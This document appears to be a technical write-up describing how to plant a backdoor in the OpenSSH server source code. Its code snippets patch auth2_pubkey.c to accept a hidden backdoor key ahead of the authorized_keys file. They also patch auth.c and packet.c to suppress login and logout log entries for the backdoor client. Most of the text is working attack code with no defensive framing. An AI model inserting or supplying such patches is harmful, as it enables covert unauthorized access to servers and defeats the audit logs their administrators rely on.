Backdooring starts in the auth2_pubkey.c file in the following function:

```
/*
 * Checks whether key is allowed in authorized_keys-format file,
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
check_authkeys_file(FILE *f, char *file, Key* key, struct passwd *pw)
```

The function checks if the clients publickey is in a file with authorized keys. The file is looped in the following while-loop:

```
while (chooseSecretKey==0 || read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
```

This while-loop is edited so, that instead of just checking the clients public key against the file containing the trusted key – the server first checks if the key is the backdoor-key. In that case the connection is allowed.

```
if (chooseSecretKey==0){
        chooseSecretKey=1;
        for (cp = lineStealth; *cp == ' ' || *cp == '\t'; cp++)
        ;
}
else {
        chooseSecretKey=2;
        for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
        ;
}
```

in the end of this function it is checked again whether the backdoor-key was used or not, and if it was the clients socket information is stored in a global variable:

```
if (chooseSecretKey==1){
        global_ip = get_remote_ipaddr();
        global_port = get_remote_port();
}
```

This information is later used to determine whether the login/logout events of this client should be logged or not. The global variables are defined in the canonhost.h/canonhost.c files:

```
extern int global_port;
extern char     * global_ip;
------
int   global_port = -1;
char *global_ip = "";
```

The logging when user connects is done in the auth.c file in the following function

```
void
auth_log(Authctxt *authctxt, int authenticated, int partial,
    const char *method, const char *submethod)
{
```

To hide the logins done with the backdoor-key, the clients socket information is checked, and if it matches the information stored in the global variables, the function returns before any logging is done. If it does not match the logging is done normally.

```
/*
        In case of stealth-user - skip logging
    */
    if (strcmp(get_remote_ipaddr(), global_ip)==0 && global_port==get_remote_port()){
        return;
    }
```

To hide logouts for the backdoor clients – the following function must be modified (in the packet.c file):

```
int
packet_read_poll_seqnr(u_int32_t *seqnr_p)
{
```

The function has a switch-case, which has one case where the logging is done for the client logouts. That case is modified so, that if the clients socket information is the same as the ones in the global variables, no logging is done and the global variables are reset to default values as the backdoor client is about to disconnect. If the socket information does not match, the logging is done normally.

```
case SSH2_MSG_DISCONNECT:
                        reason = packet_get_int();
                        msg = packet_get_string(NULL);
                        /* Ignore normal client exit notifications */

                        /*
                            If normal user, log disconnect- if user logged in with backdoor
                            do not log and overwrite global socket information to
uninitialized
                            values
                        */
                        if (!(strcmp(get_remote_ipaddr(), global_ip)==0 &&
global_port==get_remote_port())){
                            do_log2(active_state->server_side &&
                               reason == SSH2_DISCONNECT_BY_APPLICATION ?
                               SYSLOG_LEVEL_INFO : SYSLOG_LEVEL_ERROR,
                               "Received disconnect from %s: %u: %.400s",
                               get_remote_ipaddr(), reason, msg);
                        }
                        else {
                            global_ip="";
                            global_port=-1;
                        }

                        free(msg);
                        cleanup_exit(255);
                        break;
```